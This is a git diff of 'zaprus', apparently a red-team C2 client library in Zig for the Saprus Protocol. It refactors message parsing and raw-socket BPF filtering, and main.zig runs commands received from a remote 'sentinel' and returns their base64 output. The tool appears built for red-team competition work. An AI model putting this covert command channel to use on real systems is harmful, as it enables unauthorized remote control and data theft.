diff options
Diffstat (limited to 'src')
| -rw-r--r-- | src/Client.zig | 46 | ||||
| -rw-r--r-- | src/Connection.zig | 84 | ||||
| -rw-r--r-- | src/EthIpUdp.zig | 16 | ||||
| -rw-r--r-- | src/RawSocket.zig | 48 | ||||
| -rw-r--r-- | src/c_api.zig | 18 | ||||
| -rw-r--r-- | src/main.zig | 52 | ||||
| -rw-r--r-- | src/message.zig | 375 | ||||
| -rw-r--r-- | src/root.zig | 31 |
8 files changed, 454 insertions, 216 deletions
diff --git a/src/Client.zig b/src/Client.zig index ae9ca66..2344f83 100644 --- a/src/Client.zig +++ b/src/Client.zig @@ -1,3 +1,21 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see <https://www.gnu.org/licenses/>. + +//! A client is used to handle interactions with the network. + const base64_enc = std.base64.standard.Encoder; const base64_dec = std.base64.standard.Decoder; @@ -21,6 +39,8 @@ pub fn deinit(self: *Client) void { self.* = undefined; } +/// Sends a fire and forget message over the network. +/// This function asserts that `payload` fits within a single packet. pub fn sendRelay(self: *Client, io: Io, payload: []const u8, dest: [4]u8) !void { const io_source: std.Random.IoSource = .{ .io = io }; const rand = io_source.interface(); @@ -60,7 +80,8 @@ pub fn sendRelay(self: *Client, io: Io, payload: []const u8, dest: [4]u8) !void try self.socket.send(full_msg); } -pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection { +/// Attempts to establish a new connection with the sentinel. +pub fn connect(self: Client, io: Io, payload: []const u8) (error{ BpfAttachFailed, Timeout } || SaprusMessage.ParseError)!SaprusConnection { const io_source: std.Random.IoSource = .{ .io = io }; const rand = io_source.interface(); @@ -84,7 +105,7 @@ pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection { var connection: SaprusMessage = .{ .connection = .{ .src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), - .dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), + .dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), // Ignored, but good noise .seq = undefined, .id = undefined, .payload = payload, @@ -92,7 +113,7 @@ pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection { }; log.debug("Setting bpf filter to port {}", .{connection.connection.src}); - self.socket.attachSaprusPortFilter(connection.connection.src) catch |err| { + self.socket.attachSaprusPortFilter(null, connection.connection.src) catch |err| { log.err("Failed to set port filter: {t}", .{err}); return err; }; @@ -115,7 +136,17 @@ pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection { log.debug("Awaiting handshake response", .{}); // Ignore response from sentinel, just accept that we got one. - _ = try self.socket.receive(&res_buf); + const full_handshake_res = try self.socket.receive(&res_buf); + const handshake_res = saprusParse(full_handshake_res[42..]) catch |err| { + log.err("Parse error: {t}", .{err}); + return err; + }; + self.socket.attachSaprusPortFilter(handshake_res.connection.src, handshake_res.connection.dest) catch |err| { + log.err("Failed to set port filter: {t}", .{err}); + return err; + }; + connection.connection.dest = handshake_res.connection.src; + connection_bytes = connection.toBytes(&connection_buf); headers.udp.dst_port = udp_dest_port; headers.ip.id = rand.int(u16); @@ -131,12 +162,17 @@ pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection { try self.socket.send(full_msg); - return .init(self.socket, headers, connection); + return .{ + .socket = self.socket, + .headers = headers, + .connection = connection, + }; } const RawSocket = @import("./RawSocket.zig"); const SaprusMessage = @import("message.zig").Message; +const saprusParse = SaprusMessage.parse; const SaprusConnection = @import("Connection.zig"); const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp; diff --git a/src/Connection.zig b/src/Connection.zig index 95805de..19be710 100644 --- a/src/Connection.zig +++ b/src/Connection.zig @@ -1,36 +1,80 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see <https://www.gnu.org/licenses/>. + socket: RawSocket, headers: EthIpUdp, connection: SaprusMessage, const Connection = @This(); -pub fn init(socket: RawSocket, headers: EthIpUdp, connection: SaprusMessage) Connection { - return .{ - .socket = socket, - .headers = headers, - .connection = connection, - }; -} - -pub fn next(self: Connection, io: Io, buf: []u8) ![]const u8 { - _ = io; - log.debug("Awaiting connection message", .{}); - const res = try self.socket.receive(buf); - log.debug("Received {} byte connection message", .{res.len}); - const msg: SaprusMessage = try .parse(res[42..]); - const connection_res = msg.connection; - - log.debug("Payload was {s}", .{connection_res.payload}); - - return connection_res.payload; +// 'p' as base64 +const pong = "cA=="; + +/// Attempts to read from the network, and returns the next message, if any. +/// +/// Asserts that `buf` is large enough to store the message that is received. +/// +/// This will internally process management messages, and return the message +/// payload for the next non management connection message. +/// This function is ignorant to the message encoding. +pub fn next(self: *Connection, io: Io, buf: []u8) ![]const u8 { + while (true) { + log.debug("Awaiting connection message", .{}); + const res = try self.socket.receive(buf); + log.debug("Received {} byte connection message", .{res.len}); + const msg = SaprusMessage.parse(res[42..]) catch |err| { + log.err("Failed to parse next message: {t}\n{x}\n{x}", .{ err, res[0..], res[42..] }); + return err; + }; + + switch (msg) { + .connection => |con_res| { + if (try con_res.management()) |mgt| { + log.debug("Received management message {t}", .{mgt}); + switch (mgt) { + .ping => { + log.debug("Sending pong", .{}); + try self.send(io, .{ .management = true }, pong); + log.debug("Sent pong message", .{}); + }, + else => |m| log.debug("Received management message that I don't know how to handle: {t}", .{m}), + } + } else { + log.debug("Payload was {s}", .{con_res.payload}); + return con_res.payload; + } + }, + else => |m| { + std.debug.panic("Expected connection message, instead got {x}. This means there is an error with the BPF.", .{@intFromEnum(m)}); + }, + } + } } -pub fn send(self: *Connection, io: Io, buf: []const u8) !void { +/// Attempts to write a message to the network. +/// +/// Clients should pass `.{}` for options unless you know what you are doing. +/// `buf` will be sent over the network as-is; this function is ignorant of encoding. +pub fn send(self: *Connection, io: Io, options: SaprusMessage.Connection.Options, buf: []const u8) !void { const io_source: std.Random.IoSource = .{ .io = io }; const rand = io_source.interface(); log.debug("Sending connection message", .{}); + self.connection.connection.options = options; self.connection.connection.payload = buf; var connection_bytes_buf: [2048]u8 = undefined; const connection_bytes = self.connection.toBytes(&connection_bytes_buf); diff --git a/src/EthIpUdp.zig b/src/EthIpUdp.zig index 27fc611..251ed64 100644 --- a/src/EthIpUdp.zig +++ b/src/EthIpUdp.zig @@ -1,3 +1,19 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see <https://www.gnu.org/licenses/>. + pub const EthIpUdp = packed struct(u336) { // 42 bytes * 8 bits = 336 // --- UDP (Last in memory, defined first for LSB->MSB) --- udp: packed struct { diff --git a/src/RawSocket.zig b/src/RawSocket.zig index 71b4e1c..9561dcf 100644 --- a/src/RawSocket.zig +++ b/src/RawSocket.zig @@ -1,3 +1,19 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see <https://www.gnu.org/licenses/>. + const RawSocket = @This(); const is_debug = builtin.mode == .Debug; @@ -16,7 +32,12 @@ const Ifconf = extern struct { }, }; -pub fn init() !RawSocket { +pub fn init() error{ + SocketError, + NicError, + NoInterfaceFound, + BindError, +}!RawSocket { const socket: i32 = std.math.cast(i32, std.os.linux.socket(std.os.linux.AF.PACKET, std.os.linux.SOCK.RAW, 0)) orelse return error.SocketError; if (socket < 0) return error.SocketError; @@ -117,7 +138,7 @@ pub fn receive(self: RawSocket, buf: []u8) ![]u8 { return buf[0..len]; } -pub fn attachSaprusPortFilter(self: RawSocket, port: u16) !void { +pub fn attachSaprusPortFilter(self: RawSocket, incoming_src_port: ?u16, incoming_dest_port: u16) !void { const BPF = std.os.linux.BPF; // BPF instruction structure for classic BPF const SockFilter = extern struct { @@ -133,11 +154,26 @@ pub fn attachSaprusPortFilter(self: RawSocket, port: u16) !void { }; // Build the filter program - const filter = [_]SockFilter{ + const filter = if (incoming_src_port) |inc_src| &[_]SockFilter{ // Load 2 bytes at offset 46 (absolute) .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 46 }, + // Jump if equal to port (skip 1 if true, skip 0 if false) + .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 1, .jf = 0, .k = @as(u32, inc_src) }, + // Return 0x0 (fail) + .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 }, + // Load 2 bytes at offset 48 (absolute) + .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 48 }, + // Jump if equal to port (skip 0 if true, skip 1 if false) + .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, incoming_dest_port) }, + // Return 0xffff (pass) + .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff }, + // Return 0x0 (fail) + .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 }, + } else &[_]SockFilter{ + // Load 2 bytes at offset 48 (absolute) + .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 48 }, // Jump if equal to port (skip 0 if true, skip 1 if false) - .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, port) }, + .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, incoming_dest_port) }, // Return 0xffff (pass) .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff }, // Return 0x0 (fail) @@ -145,8 +181,8 @@ pub fn attachSaprusPortFilter(self: RawSocket, port: u16) !void { }; const fprog = SockFprog{ - .len = filter.len, - .filter = &filter, + .len = @intCast(filter.len), + .filter = filter.ptr, }; // Attach filter to socket using setsockopt diff --git a/src/c_api.zig b/src/c_api.zig index 964f399..c2f3190 100644 --- a/src/c_api.zig +++ b/src/c_api.zig @@ -1,3 +1,19 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see <https://www.gnu.org/licenses/>. + const std = @import("std"); const zaprus = @import("zaprus"); @@ -83,6 +99,6 @@ export fn zaprus_connection_send( const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection)); const zc = c orelse return 1; - zc.send(io, payload[0..payload_len]) catch return 1; + zc.send(io, .{}, payload[0..payload_len]) catch return 1; return 0; } diff --git a/src/main.zig b/src/main.zig index 07fe9e2..10dca33 100644 --- a/src/main.zig +++ b/src/main.zig @@ -1,3 +1,19 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see <https://www.gnu.org/licenses/>. + const is_debug = builtin.mode == .Debug; const help = @@ -162,7 +178,37 @@ pub fn main(init: std.process.Init) !void { .stdout = .pipe, .stderr = .ignore, .stdin = .ignore, - }) catch continue; + }) catch |err| switch (err) { + error.AccessDenied, + error.FileBusy, + error.FileNotFound, + error.FileSystem, + error.InvalidExe, + error.IsDir, + error.NotDir, + error.OutOfMemory, + error.PermissionDenied, + error.SymLinkLoop, + error.SystemResources, + => blk: { + log.debug("Trying to execute command directly: {s}", .{connection_payload}); + var argv_buf: [128][]const u8 = undefined; + var argv: ArrayList([]const u8) = .initBuffer(&argv_buf); + var payload_iter = std.mem.splitAny(u8, connection_payload, " \t\n"); + while (payload_iter.next()) |arg| argv.appendBounded(arg) catch continue; + break :blk std.process.spawn(init.io, .{ + .argv = argv.items, + .stdout = .pipe, + .stderr = .ignore, + .stdin = .ignore, + }) catch continue; + }, + error.Canceled, + error.NoDevice, + error.OperationUnsupported, + => |e| return e, + else => continue, + }; var child_output_buf: [SaprusClient.max_payload_len]u8 = undefined; var child_output_reader = child.stdout.?.reader(init.io, &child_output_buf); @@ -184,7 +230,7 @@ pub fn main(init: std.process.Init) !void { error.EndOfStream => { cmd_output.print("{b64}", .{child_output_reader.interface.buffered()}) catch unreachable; if (cmd_output.end > 0) { - connection.send(init.io, cmd_output.buffered()) catch |e| { + connection.send(init.io, .{}, cmd_output.buffered()) catch |e| { log.debug("Failed to send connection chunk: {t}", .{e}); continue :next_message; }; @@ -193,7 +239,7 @@ pub fn main(init: std.process.Init) !void { }, }; cmd_output.print("{b64}", .{try child_output_reader.interface.takeArray(child_output_buf.len)}) catch unreachable; - connection.send(init.io, cmd_output.buffered()) catch |err| { + connection.send(init.io, .{}, cmd_output.buffered()) catch |err| { log.debug("Failed to send connection chunk: {t}", .{err}); continue :next_message; }; diff --git a/src/message.zig b/src/message.zig index d9d1914..4198737 100644 --- a/src/message.zig +++ b/src/message.zig @@ -1,205 +1,232 @@ -pub const MessageTypeError = error{ - NotImplementedSaprusType, - UnknownSaprusType, -}; -pub const MessageParseError = MessageTypeError || error{ - InvalidMessage, -}; - -const message = @This(); +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see <https://www.gnu.org/licenses/>. pub const Message = union(enum(u16)) { relay: Message.Relay = 0x003C, connection: Message.Connection = 0x00E9, _, - pub const Relay = message.Relay; - pub const Connection = message.Connection; + pub const Relay = struct { + dest: Dest, + checksum: [2]u8 = undefined, + payload: []const u8, + + pub const Dest = struct { + bytes: [relay_dest_len]u8, + + /// Asserts bytes is less than or equal to 4 bytes + pub fn fromBytes(bytes: []const u8) Dest { + var buf: [4]u8 = @splat(0); + std.debug.assert(bytes.len <= buf.len); + @memcpy(buf[0..bytes.len], bytes); + return .{ .bytes = buf }; + } + }; - pub fn toBytes(self: message.Message, buf: []u8) []u8 { - return switch (self) { - inline .relay, .connection => |m| m.toBytes(buf), - else => unreachable, + /// Asserts that buf is large enough to fit the relay message. + pub fn toBytes(self: Relay, buf: []u8) []u8 { + var out: Writer = .fixed(buf); + out.writeInt(u16, @intFromEnum(Message.relay), .big) catch unreachable; + out.writeInt(u16, @intCast(self.payload.len + 4), .big) catch unreachable; // Length field, but unread. Will switch to checksum + out.writeAll(&self.dest.bytes) catch unreachable; + out.writeAll(self.payload) catch unreachable; + return out.buffered(); + } + + // test toBytes { + // var buf: [1024]u8 = undefined; + // const relay: Relay = .init( + // .fromBytes(&.{ 172, 18, 1, 30 }), + // // zig fmt: off + // &[_]u8{ + // 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, + // 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 + // }, + // // zig fmt: on + // ); + // // zig fmt: off + // var expected = [_]u8{ + // 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, + // 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, + // 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 + // }; + // // zig fmt: on + // try expectEqualMessageBuffers(&expected, relay.toBytes(&buf)); + // } + }; + + pub const Connection = struct { + src: u16, + dest: u16, + seq: u32, + id: u32, + reserved: u8 = undefined, + options: Options = .{}, + payload: []const u8, + + /// Option values. + /// Currently used! + pub const Options = packed struct(u8) { + opt1: bool = false, + opt2: bool = false, + opt3: bool = false, + opt4: bool = false, + opt5: bool = false, + opt6: bool = false, + opt7: bool = false, + management: bool = false, }; - } - pub const parse = message.parse; -}; + /// Asserts that buf is large enough to fit the connection message. + pub fn toBytes(self: Connection, buf: []u8) []u8 { + var out: Writer = .fixed(buf); + out.writeInt(u16, @intFromEnum(Message.connection), .big) catch unreachable; + out.writeInt(u16, @intCast(self.payload.len + 14), .big) catch unreachable; // Saprus length field, unread. + out.writeInt(u16, self.src, .big) catch unreachable; + out.writeInt(u16, self.dest, .big) catch unreachable; + out.writeInt(u32, self.seq, .big) catch unreachable; + out.writeInt(u32, self.id, .big) catch unreachable; + out.writeByte(self.reserved) catch unreachable; + out.writeStruct(self.options, .big) catch unreachable; + out.writeAll(self.payload) catch unreachable; + return out.buffered(); + } -pub const relay_dest_len = 4; + /// If the current message is a management message, return what kind. + /// Else return null. + pub fn management(self: Connection) ParseError!?Management { + const b64_dec = std.base64.standard.Decoder; + if (self.options.management) { + var buf: [1]u8 = undefined; + _ = b64_dec.decode(&buf, self.payload) catch return error.InvalidMessage; + + return switch (buf[0]) { + 'P' => .ping, + 'p' => .pong, + else => error.UnknownSaprusType, + }; + } + return null; + } -pub fn parse(bytes: []const u8) MessageParseError!Message { - var in: Reader = .fixed(bytes); - const @"type" = in.takeEnum(std.meta.Tag(Message), .big) catch |err| switch (err) { - error.InvalidEnumTag => return error.UnknownSaprusType, - else => return error.InvalidMessage, + pub const Management = enum { + ping, + pong, + }; }; - const checksum = in.takeArray(2) catch return error.InvalidMessage; - switch (@"type") { - .relay => { - const dest: Relay.Dest = .fromBytes( - in.takeArray(relay_dest_len) catch return error.InvalidMessage, - ); - const payload = in.buffered(); - return .{ - .relay = .{ - .dest = dest, - .checksum = checksum.*, - .payload = payload, - }, - }; - }, - .connection => { - const src = in.takeInt(u16, .big) catch return error.InvalidMessage; - const dest = in.takeInt(u16, .big) catch return error.InvalidMessage; - const seq = in.takeInt(u32, .big) catch return error.InvalidMessage; - const id = in.takeInt(u32, .big) catch return error.InvalidMessage; - const reserved = in.takeByte() catch return error.InvalidMessage; - const options = in.takeStruct(Connection.Options, .big) catch return error.InvalidMessage; - const payload = in.buffered(); - return .{ - .connection = .{ - .src = src, - .dest = dest, - .seq = seq, - .id = id, - .reserved = reserved, - .options = options, - .payload = payload, - }, - }; - }, - else => return error.NotImplementedSaprusType, - } -} -test parse { - _ = try parse(&[_]u8{ 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 }); - - { - const expected: Message = .{ - .connection = .{ - .src = 12416, - .dest = 61680, - .seq = 0, - .id = 0, - .reserved = 0, - .options = @bitCast(@as(u8, 100)), - .payload = &[_]u8{ 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 }, - }, + pub fn toBytes(self: Message, buf: []u8) []u8 { + return switch (self) { + inline .relay, .connection => |m| m.toBytes(buf), + else => unreachable, }; - const actual = try parse(&[_]u8{ 0x00, 0xe9, 0x00, 0x18, 0x30, 0x80, 0xf0, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 }); + } - try std.testing.expectEqualDeep(expected, actual); + pub fn parse(bytes: []const u8) ParseError!Message { + var in: Reader = .fixed(bytes); + const @"type" = in.takeEnum(std.meta.Tag(Message), .big) catch |err| switch (err) { + error.InvalidEnumTag => return error.UnknownSaprusType, + else => return error.InvalidMessage, + }; + const checksum = in.takeArray(2) catch return error.InvalidMessage; + switch (@"type") { + .relay => { + const dest: Relay.Dest = .fromBytes( + in.takeArray(relay_dest_len) catch return error.InvalidMessage, + ); + const payload = in.buffered(); + return .{ + .relay = .{ + .dest = dest, + .checksum = checksum.*, + .payload = payload, + }, + }; + }, + .connection => { + const src = in.takeInt(u16, .big) catch return error.InvalidMessage; + const dest = in.takeInt(u16, .big) catch return error.InvalidMessage; + const seq = in.takeInt(u32, .big) catch return error.InvalidMessage; + const id = in.takeInt(u32, .big) catch return error.InvalidMessage; + const reserved = in.takeByte() catch return error.InvalidMessage; + const options = in.takeStruct(Connection.Options, .big) catch return error.InvalidMessage; + const payload = in.buffered(); + return .{ + .connection = .{ + .src = src, + .dest = dest, + .seq = seq, + .id = id, + .reserved = reserved, + .options = options, + .payload = payload, + }, + }; + }, + else => return error.NotImplementedSaprusType, + } } -} -const Relay = struct { - dest: Dest, - checksum: [2]u8 = undefined, - payload: []const u8, + test parse { + _ = try parse(&[_]u8{ 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 }); - pub const Dest = struct { - bytes: [relay_dest_len]u8, + { + const expected: Message = .{ + .connection = .{ + .src = 12416, + .dest = 61680, + .seq = 0, + .id = 0, + .reserved = 0, + .options = @bitCast(@as(u8, 100)), + .payload = &[_]u8{ 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 }, + }, + }; + const actual = try parse(&[_]u8{ 0x00, 0xe9, 0x00, 0x18, 0x30, 0x80, 0xf0, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 }); - /// Asserts bytes is less than or equal to 4 bytes - pub fn fromBytes(bytes: []const u8) Dest { - var buf: [4]u8 = @splat(0); - std.debug.assert(bytes.len <= buf.len); - @memcpy(buf[0..bytes.len], bytes); - return .{ .bytes = buf }; + try std.testing.expectEqualDeep(expected, actual); } - }; - - pub fn init(dest: Dest, payload: []const u8) Relay { - return .{ .dest = dest, .payload = payload }; } - /// Asserts that buf is large enough to fit the relay message. - pub fn toBytes(self: Relay, buf: []u8) []u8 { - var out: Writer = .fixed(buf); - out.writeInt(u16, @intFromEnum(Message.relay), .big) catch unreachable; - out.writeInt(u16, @intCast(self.payload.len + 4), .big) catch unreachable; // Length field, but unread. Will switch to checksum - out.writeAll(&self.dest.bytes) catch unreachable; - out.writeAll(self.payload) catch unreachable; - return out.buffered(); + test "Round trip" { + { + const expected = [_]u8{ 0x0, 0xe9, 0x0, 0x15, 0x30, 0x80, 0xf0, 0xf0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x64, 0x36, 0x3a, 0x3a, 0x64, 0x61, 0x74, 0x61 }; + const msg = (try parse(&expected)).connection; + var res_buf: [expected.len + 1]u8 = undefined; // + 1 to test subslice result. + const res = msg.toBytes(&res_buf); + try expectEqualMessageBuffers(&expected, res); + } } - test toBytes { - var buf: [1024]u8 = undefined; - const relay: Relay = .init( - .fromBytes(&.{ 172, 18, 1, 30 }), - // zig fmt: off - &[_]u8{ - 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, - 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 - }, - // zig fmt: on - ); - // zig fmt: off - var expected = [_]u8{ - 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, - 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, - 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 - }; - // zig fmt: on - try expectEqualMessageBuffers(&expected, relay.toBytes(&buf)); + // Skip checking the length / checksum, because that is undefined. + fn expectEqualMessageBuffers(expected: []const u8, actual: []const u8) !void { + try std.testing.expectEqualSlices(u8, expected[0..2], actual[0..2]); + try std.testing.expectEqualSlices(u8, expected[4..], actual[4..]); } -}; -const Connection = struct { - src: u16, - dest: u16, - seq: u32, - id: u32, - reserved: u8 = undefined, - options: Options = undefined, - payload: []const u8, - - /// Reserved option values. - /// Currently unused. - pub const Options = packed struct(u8) { - opt1: bool = false, - opt2: bool = false, - opt3: bool = false, - opt4: bool = false, - opt5: bool = false, - opt6: bool = false, - opt7: bool = false, - opt8: bool = false, + pub const TypeError = error{ + NotImplementedSaprusType, + UnknownSaprusType, + }; + pub const ParseError = TypeError || error{ + InvalidMessage, }; - - /// Asserts that buf is large enough to fit the connection message. - pub fn toBytes(self: Connection, buf: []u8) []u8 { - var out: Writer = .fixed(buf); - out.writeInt(u16, @intFromEnum(Message.connection), .big) catch unreachable; - out.writeInt(u16, @intCast(self.payload.len + 14), .big) catch unreachable; // Saprus length field, unread. - out.writeInt(u16, self.src, .big) catch unreachable; - out.writeInt(u16, self.dest, .big) catch unreachable; - out.writeInt(u32, self.seq, .big) catch unreachable; - out.writeInt(u32, self.id, .big) catch unreachable; - out.writeByte(self.reserved) catch unreachable; - out.writeStruct(self.options, .big) catch unreachable; - out.writeAll(self.payload) catch unreachable; - return out.buffered(); - } }; -test "Round trip" { - { - const expected = [_]u8{ 0x0, 0xe9, 0x0, 0x15, 0x30, 0x80, 0xf0, 0xf0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x64, 0x36, 0x3a, 0x3a, 0x64, 0x61, 0x74, 0x61 }; - const msg = (try parse(&expected)).connection; - var res_buf: [expected.len + 1]u8 = undefined; // + 1 to test subslice result. - const res = msg.toBytes(&res_buf); - try expectEqualMessageBuffers(&expected, res); - } -} - -// Skip checking the length / checksum, because that is undefined. -fn expectEqualMessageBuffers(expected: []const u8, actual: []const u8) !void { - try std.testing.expectEqualSlices(u8, expected[0..2], actual[0..2]); - try std.testing.expectEqualSlices(u8, expected[4..], actual[4..]); -} +const relay_dest_len = 4; const std = @import("std"); const Allocator = std.mem.Allocator; @@ -207,5 +234,5 @@ const Writer = std.Io.Writer; const Reader = std.Io.Reader; test { - std.testing.refAllDeclsRecursive(@This()); + std.testing.refAllDecls(@This()); } diff --git a/src/root.zig b/src/root.zig index f7efb7b..2a847fc 100644 --- a/src/root.zig +++ b/src/root.zig @@ -1,12 +1,29 @@ -pub const Client = @import("Client.zig"); -pub const Connection = @import("Connection.zig"); +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see <https://www.gnu.org/licenses/>. -const msg = @import("message.zig"); +//! The Zaprus library is useful for implementing clients that interact with the [Saprus Protocol](https://gitlab.com/c2-games/red-team/saprus). +//! +//! The main entrypoint into this library is the `Client` type. +//! It can be used to send fire and forget messages, and establish persistent connections. +//! It is up to the consumer of this library to handle non-management message payloads. +//! The library handles management messages automatically (right now, just ping). -pub const PacketType = msg.PacketType; -pub const MessageTypeError = msg.MessageTypeError; -pub const MessageParseError = msg.MessageParseError; -pub const Message = msg.Message; +pub const Client = @import("Client.zig"); +pub const Connection = @import("Connection.zig"); +pub const Message = @import("message.zig").Message; test { @import("std").testing.refAllDecls(@This()); |
